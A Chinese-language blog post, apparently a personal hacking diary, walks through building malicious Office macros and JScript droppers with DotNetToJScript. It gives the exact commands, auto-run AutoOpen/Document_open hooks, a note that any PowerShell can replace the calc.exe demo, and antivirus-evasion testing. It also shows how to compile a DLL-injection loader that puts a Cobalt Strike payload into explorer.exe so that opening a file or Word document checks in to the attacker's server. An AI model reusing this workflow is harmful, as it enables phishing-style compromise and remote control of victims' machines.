黑客学徒日记-DotNetToJScript与cs上线

黑客圈和娱乐圈是相反的,在大多数情况下,当你像怪狗一样出名、甚至上了电视的时候,那你的问题就大了。

上一篇中介绍了两个项目,DotNetToJScript 和 UnmanagedPowerShell

让我们能够将.net程序转换为jscript,并且不使用powershell进程就能执行ps命令。

生成DotNetToJScript vba payload

在之前的迭代中,当我们生成 JScript 有效负载时,输出包含大量 Base64 文本。 这实际上是一个 Base64 编码的 .NET MemoryStream 对象,它被解码、反序列化并实例化为一个供我们使用的对象。 事实上,在生成 VBScript 有效负载时,MemoryStream 也以 Base64 编码。 但是,在生成 VBA 有效负载时,MemoryStream 被编码为十六进制字符串。 在我以前的生活中,我们了解到由于 VBScript 和 VBA 之间的差异,有时在 VBA 中编码/解码十六进制字符串实际上更容易。

但是,在使用 DotNetToJScript 技术时,该项目有意分解了逐行加载 .NET 汇编程序的过程。 这样当你和我学习技术时,我们可以跟踪代码的作用。 事实证明,在使用相同的脚本命令序列的同时将 VBScript 代码直接移植到 VBA 是行不通的。 DotNetToJScript 使用 ComVisible .NET 类来执行解码、反序列化和实例化步骤,事实证明 VBA 没有在方法调用之间正确传递其中一些 .NET 对象。 通过将 .NET 对象操作的结果作为参数传递给其他 .NET 对象方法,可以将 VBScript 代码转换为 VBA,我们不会在这篇博文中介绍。 相反,我们将简单地使用 DotNetToJScript 为我们生成的插入式 VBA 代码。

我们将希望使用以下命令生成一个 VBA 有效负载,该有效负载与我们之前编译的 PowerShellRunner 程序集一起使用:

1
DotNetToJScript.exe -d -l VBA  -c "PowerShellRunner.PowerShellRunner" -o 0517.vba C:\Users\Local\Desktop\Tools\UnmanagedPowerShell-master\PowerShellRunner\bin\Release\PowerShellRunner.dll

修改DotNetToJScript vba payload

生成的0517.vba可以到此处下载:https://github.com/Whale3070/ctf-coding/blob/master/PowerShellRunner.vba

主要插入了两个功能函数

1
2
3
4
5
6
7
Sub document_open()
Run
End Sub

Sub AutoOpen()
Run
End Sub

作用是在文档打开的时候,自动运行宏代码

并且在末尾插入了一行

1
DebugPrint o.InvokePSMember("calc.exe")

这句话的作用是弹计算器。当然,calc.exe可以修改为任意powershell语句。

执行效果 & 免杀效果测试

不能过windows 10 企业版defender

cs上线

https://github.com/Whale3070/ctf-coding/blob/master/dllInject.cs

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /target:library dllInject.cs

测试了还是得用v2.0的csc.exe编译器,用其他版本的不行,不然不上线。

编译后获得dllInject.dll,这是dll注入的源代码,原理是将cs生成的dll注入到explorer

DotNetToJScript.exe -l JScript -o 7.js dllInject.dll

双击7.js,cs即可上线。

同理可得,DotNetToJScript.exe -l VBA 可以获得宏文件,可以做到打开word就上线的效果。

参考资料